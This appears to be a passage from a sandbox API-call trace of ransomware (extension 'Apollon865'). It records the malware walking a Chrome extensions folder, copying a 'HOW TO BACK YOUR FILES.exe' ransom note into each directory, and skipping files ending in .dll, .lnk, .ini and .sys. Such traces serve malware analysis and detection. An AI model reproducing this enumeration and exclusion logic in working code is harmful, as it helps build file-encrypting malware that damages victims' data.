	[0047.233] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1
	[0047.233] lstrcmpiW (lpString1="pjkljhegncpnkpknbcohdijeoejaedia", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.233] lstrcmpiW (lpString1="pjkljhegncpnkpknbcohdijeoejaedia", lpString2="Apollon865.txt.exe") returned 1
	[0047.233] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="pjkljhegncpnkpknbcohdijeoejaedia" | out: lpString1="pjkljhegncpnkpknbcohdijeoejaedia") returned="pjkljhegncpnkpknbcohdijeoejaedia"
	[0047.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0047.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x59a340
	[0047.233] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0047.233] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1
	[0047.233] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.233] lstrcmpiW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="Apollon865.txt.exe") returned 1
	[0047.234] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="pkedcjkdefgpdelpbcmbmeomcjbeemfm" | out: lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="pkedcjkdefgpdelpbcmbmeomcjbeemfm"
	[0047.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0047.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x59a438
	[0047.234] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0047.234] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0
	[0047.234] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0047.234] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0047.234] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm"
	[0047.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a438 | out: hHeap=0x580000) returned 1
	[0047.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0047.234] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned 119
	[0047.234] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm"
	[0047.234] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.234] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.238] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34395610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34395610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.238] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.238] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.238] lstrcpyW (in: lpString1=0x2d3e640, lpString2="5817.313.0.5_0" | out: lpString1="5817.313.0.5_0") returned="5817.313.0.5_0"
	[0047.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0047.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10e) returned 0x59a438
	[0047.238] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0047.238] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34395610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34395610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.238] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.238] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34395610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34395610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0047.238] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0047.238] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0047.238] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0"
	[0047.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a438 | out: hHeap=0x580000) returned 1
	[0047.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0047.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned 134
	[0047.238] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0"
	[0047.239] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.239] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.246] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.246] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x343bb770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x343bb770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.269] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.269] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.269] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="angular.js" | out: lpString1="angular.js") returned="angular.js"
	[0047.269] lstrlenW (lpString="angular.js") returned 10
	[0047.269] lstrlenW (lpString="Apollon865") returned 10
	[0047.269] lstrlenW (lpString=".dll") returned 4
	[0047.269] lstrcmpiW (lpString1="angular.js", lpString2=".dll") returned 1
	[0047.269] lstrlenW (lpString=".lnk") returned 4
	[0047.269] lstrcmpiW (lpString1="angular.js", lpString2=".lnk") returned 1
	[0047.269] lstrlenW (lpString=".ini") returned 4
	[0047.269] lstrcmpiW (lpString1="angular.js", lpString2=".ini") returned 1
	[0047.269] lstrlenW (lpString=".sys") returned 4
	[0047.269] lstrcmpiW (lpString1="angular.js", lpString2=".sys") returned 1
	[0047.269] lstrlenW (lpString="angular.js") returned 10
	[0047.269] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="background_script.js" | out: lpString1="background_script.js") returned="background_script.js"
	[0047.269] lstrlenW (lpString="background_script.js") returned 20
	[0047.269] lstrlenW (lpString="Apollon865") returned 10
	[0047.269] lstrcmpiW (lpString1="_script.js", lpString2="Apollon865") returned -1
	[0047.269] lstrlenW (lpString=".dll") returned 4
	[0047.270] lstrcmpiW (lpString1="background_script.js", lpString2=".dll") returned 1
	[0047.270] lstrlenW (lpString=".lnk") returned 4
	[0047.270] lstrcmpiW (lpString1="background_script.js", lpString2=".lnk") returned 1
	[0047.270] lstrlenW (lpString=".ini") returned 4
	[0047.270] lstrcmpiW (lpString1="background_script.js", lpString2=".ini") returned 1
	[0047.270] lstrlenW (lpString=".sys") returned 4
	[0047.270] lstrcmpiW (lpString1="background_script.js", lpString2=".sys") returned 1
	[0047.270] lstrlenW (lpString="background_script.js") returned 20
	[0047.270] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cast_game_sender.js" | out: lpString1="cast_game_sender.js") returned="cast_game_sender.js"
	[0047.270] lstrlenW (lpString="cast_game_sender.js") returned 19
	[0047.270] lstrlenW (lpString="Apollon865") returned 10
	[0047.270] lstrcmpiW (lpString1="_sender.js", lpString2="Apollon865") returned -1
	[0047.270] lstrlenW (lpString=".dll") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_game_sender.js", lpString2=".dll") returned 1
	[0047.270] lstrlenW (lpString=".lnk") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_game_sender.js", lpString2=".lnk") returned 1
	[0047.270] lstrlenW (lpString=".ini") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_game_sender.js", lpString2=".ini") returned 1
	[0047.270] lstrlenW (lpString=".sys") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_game_sender.js", lpString2=".sys") returned 1
	[0047.270] lstrlenW (lpString="cast_game_sender.js") returned 19
	[0047.270] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cast_route_details.html" | out: lpString1="cast_route_details.html") returned="cast_route_details.html"
	[0047.270] lstrlenW (lpString="cast_route_details.html") returned 23
	[0047.270] lstrlenW (lpString="Apollon865") returned 10
	[0047.270] lstrcmpiW (lpString1="tails.html", lpString2="Apollon865") returned 1
	[0047.270] lstrlenW (lpString=".dll") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_route_details.html", lpString2=".dll") returned 1
	[0047.270] lstrlenW (lpString=".lnk") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_route_details.html", lpString2=".lnk") returned 1
	[0047.270] lstrlenW (lpString=".ini") returned 4
	[0047.270] lstrcmpiW (lpString1="cast_route_details.html", lpString2=".ini") returned 1
	[0047.271] lstrlenW (lpString=".sys") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_route_details.html", lpString2=".sys") returned 1
	[0047.271] lstrlenW (lpString="cast_route_details.html") returned 23
	[0047.271] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cast_route_details.js" | out: lpString1="cast_route_details.js") returned="cast_route_details.js"
	[0047.271] lstrlenW (lpString="cast_route_details.js") returned 21
	[0047.271] lstrlenW (lpString="Apollon865") returned 10
	[0047.271] lstrcmpiW (lpString1="details.js", lpString2="Apollon865") returned 1
	[0047.271] lstrlenW (lpString=".dll") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_route_details.js", lpString2=".dll") returned 1
	[0047.271] lstrlenW (lpString=".lnk") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_route_details.js", lpString2=".lnk") returned 1
	[0047.271] lstrlenW (lpString=".ini") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_route_details.js", lpString2=".ini") returned 1
	[0047.271] lstrlenW (lpString=".sys") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_route_details.js", lpString2=".sys") returned 1
	[0047.271] lstrlenW (lpString="cast_route_details.js") returned 21
	[0047.271] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cast_sender.js" | out: lpString1="cast_sender.js") returned="cast_sender.js"
	[0047.271] lstrlenW (lpString="cast_sender.js") returned 14
	[0047.271] lstrlenW (lpString="Apollon865") returned 10
	[0047.271] lstrcmpiW (lpString1="_sender.js", lpString2="Apollon865") returned -1
	[0047.271] lstrlenW (lpString=".dll") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_sender.js", lpString2=".dll") returned 1
	[0047.271] lstrlenW (lpString=".lnk") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_sender.js", lpString2=".lnk") returned 1
	[0047.271] lstrlenW (lpString=".ini") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_sender.js", lpString2=".ini") returned 1
	[0047.271] lstrlenW (lpString=".sys") returned 4
	[0047.271] lstrcmpiW (lpString1="cast_sender.js", lpString2=".sys") returned 1
	[0047.271] lstrlenW (lpString="cast_sender.js") returned 14
	[0047.271] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cast_setup" | out: lpString1="cast_setup") returned="cast_setup"
	[0047.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0047.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x124) returned 0x59a438
	[0047.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0047.272] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cloud_route_details", cAlternateFileName="CLOUD_~1")) returned 1
	[0047.272] lstrcmpiW (lpString1="cloud_route_details", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.272] lstrcmpiW (lpString1="cloud_route_details", lpString2="Apollon865.txt.exe") returned 1
	[0047.272] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cloud_route_details" | out: lpString1="cloud_route_details") returned="cloud_route_details"
	[0047.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0047.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x136) returned 0x5ac620
	[0047.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0047.272] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83696f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83699640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc878, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="common.js", cAlternateFileName="")) returned 1
	[0047.272] lstrcmpiW (lpString1="common.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.272] lstrcmpiW (lpString1="common.js", lpString2="Apollon865.txt.exe") returned 1
	[0047.272] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="common.js" | out: lpString1="common.js") returned="common.js"
	[0047.272] lstrlenW (lpString="common.js") returned 9
	[0047.272] lstrlenW (lpString="Apollon865") returned 10
	[0047.272] lstrlenW (lpString=".dll") returned 4
	[0047.272] lstrcmpiW (lpString1="common.js", lpString2=".dll") returned 1
	[0047.272] lstrlenW (lpString=".lnk") returned 4
	[0047.272] lstrcmpiW (lpString1="common.js", lpString2=".lnk") returned 1
	[0047.272] lstrlenW (lpString=".ini") returned 4
	[0047.272] lstrcmpiW (lpString1="common.js", lpString2=".ini") returned 1
	[0047.272] lstrlenW (lpString=".sys") returned 4
	[0047.272] lstrcmpiW (lpString1="common.js", lpString2=".sys") returned 1
	[0047.272] lstrlenW (lpString="common.js") returned 9
	[0047.272] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="feedback.css" | out: lpString1="feedback.css") returned="feedback.css"
	[0047.272] lstrlenW (lpString="feedback.css") returned 12
	[0047.272] lstrlenW (lpString="Apollon865") returned 10
	[0047.272] lstrcmpiW (lpString1="edback.css", lpString2="Apollon865") returned 1
	[0047.272] lstrlenW (lpString=".dll") returned 4
	[0047.272] lstrcmpiW (lpString1="feedback.css", lpString2=".dll") returned 1
	[0047.272] lstrlenW (lpString=".lnk") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.css", lpString2=".lnk") returned 1
	[0047.273] lstrlenW (lpString=".ini") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.css", lpString2=".ini") returned 1
	[0047.273] lstrlenW (lpString=".sys") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.css", lpString2=".sys") returned 1
	[0047.273] lstrlenW (lpString="feedback.css") returned 12
	[0047.273] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="feedback.html" | out: lpString1="feedback.html") returned="feedback.html"
	[0047.273] lstrlenW (lpString="feedback.html") returned 13
	[0047.273] lstrlenW (lpString="Apollon865") returned 10
	[0047.273] lstrcmpiW (lpString1="dback.html", lpString2="Apollon865") returned 1
	[0047.273] lstrlenW (lpString=".dll") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.html", lpString2=".dll") returned 1
	[0047.273] lstrlenW (lpString=".lnk") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.html", lpString2=".lnk") returned 1
	[0047.273] lstrlenW (lpString=".ini") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.html", lpString2=".ini") returned 1
	[0047.273] lstrlenW (lpString=".sys") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback.html", lpString2=".sys") returned 1
	[0047.273] lstrlenW (lpString="feedback.html") returned 13
	[0047.273] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="feedback_script.js" | out: lpString1="feedback_script.js") returned="feedback_script.js"
	[0047.273] lstrlenW (lpString="feedback_script.js") returned 18
	[0047.273] lstrlenW (lpString="Apollon865") returned 10
	[0047.273] lstrcmpiW (lpString1="_script.js", lpString2="Apollon865") returned -1
	[0047.273] lstrlenW (lpString=".dll") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback_script.js", lpString2=".dll") returned 1
	[0047.273] lstrlenW (lpString=".lnk") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback_script.js", lpString2=".lnk") returned 1
	[0047.273] lstrlenW (lpString=".ini") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback_script.js", lpString2=".ini") returned 1
	[0047.273] lstrlenW (lpString=".sys") returned 4
	[0047.273] lstrcmpiW (lpString1="feedback_script.js", lpString2=".sys") returned 1
	[0047.274] lstrlenW (lpString="feedback_script.js") returned 18
	[0047.274] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="manifest.json" | out: lpString1="manifest.json") returned="manifest.json"
	[0047.274] lstrlenW (lpString="manifest.json") returned 13
	[0047.274] lstrlenW (lpString="Apollon865") returned 10
	[0047.274] lstrcmpiW (lpString1="ifest.json", lpString2="Apollon865") returned 1
	[0047.274] lstrlenW (lpString=".dll") returned 4
	[0047.274] lstrcmpiW (lpString1="manifest.json", lpString2=".dll") returned 1
	[0047.274] lstrlenW (lpString=".lnk") returned 4
	[0047.274] lstrcmpiW (lpString1="manifest.json", lpString2=".lnk") returned 1
	[0047.274] lstrlenW (lpString=".ini") returned 4
	[0047.274] lstrcmpiW (lpString1="manifest.json", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".sys") returned 4
	[0047.274] lstrcmpiW (lpString1="manifest.json", lpString2=".sys") returned 1
	[0047.274] lstrlenW (lpString="manifest.json") returned 13
	[0047.274] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="material_css_min.css" | out: lpString1="material_css_min.css") returned="material_css_min.css"
	[0047.274] lstrlenW (lpString="material_css_min.css") returned 20
	[0047.274] lstrlenW (lpString="Apollon865") returned 10
	[0047.274] lstrcmpiW (lpString1="ss_min.css", lpString2="Apollon865") returned 1
	[0047.274] lstrlenW (lpString=".dll") returned 4
	[0047.274] lstrcmpiW (lpString1="material_css_min.css", lpString2=".dll") returned 1
	[0047.274] lstrlenW (lpString=".lnk") returned 4
	[0047.274] lstrcmpiW (lpString1="material_css_min.css", lpString2=".lnk") returned 1
	[0047.274] lstrlenW (lpString=".ini") returned 4
	[0047.274] lstrcmpiW (lpString1="material_css_min.css", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".sys") returned 4
	[0047.274] lstrcmpiW (lpString1="material_css_min.css", lpString2=".sys") returned 1
	[0047.274] lstrlenW (lpString="material_css_min.css") returned 20
	[0047.274] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="mirroring_cast_streaming.js" | out: lpString1="mirroring_cast_streaming.js") returned="mirroring_cast_streaming.js"
	[0047.274] lstrlenW (lpString="mirroring_cast_streaming.js") returned 27
	[0047.274] lstrlenW (lpString="Apollon865") returned 10
	[0047.275] lstrcmpiW (lpString1="reaming.js", lpString2="Apollon865") returned 1
	[0047.275] lstrlenW (lpString=".dll") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_cast_streaming.js", lpString2=".dll") returned 1
	[0047.275] lstrlenW (lpString=".lnk") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_cast_streaming.js", lpString2=".lnk") returned 1
	[0047.275] lstrlenW (lpString=".ini") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_cast_streaming.js", lpString2=".ini") returned 1
	[0047.275] lstrlenW (lpString=".sys") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_cast_streaming.js", lpString2=".sys") returned 1
	[0047.275] lstrlenW (lpString="mirroring_cast_streaming.js") returned 27
	[0047.275] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="mirroring_common.js" | out: lpString1="mirroring_common.js") returned="mirroring_common.js"
	[0047.275] lstrlenW (lpString="mirroring_common.js") returned 19
	[0047.275] lstrlenW (lpString="Apollon865") returned 10
	[0047.275] lstrcmpiW (lpString1="_common.js", lpString2="Apollon865") returned -1
	[0047.275] lstrlenW (lpString=".dll") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_common.js", lpString2=".dll") returned 1
	[0047.275] lstrlenW (lpString=".lnk") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_common.js", lpString2=".lnk") returned 1
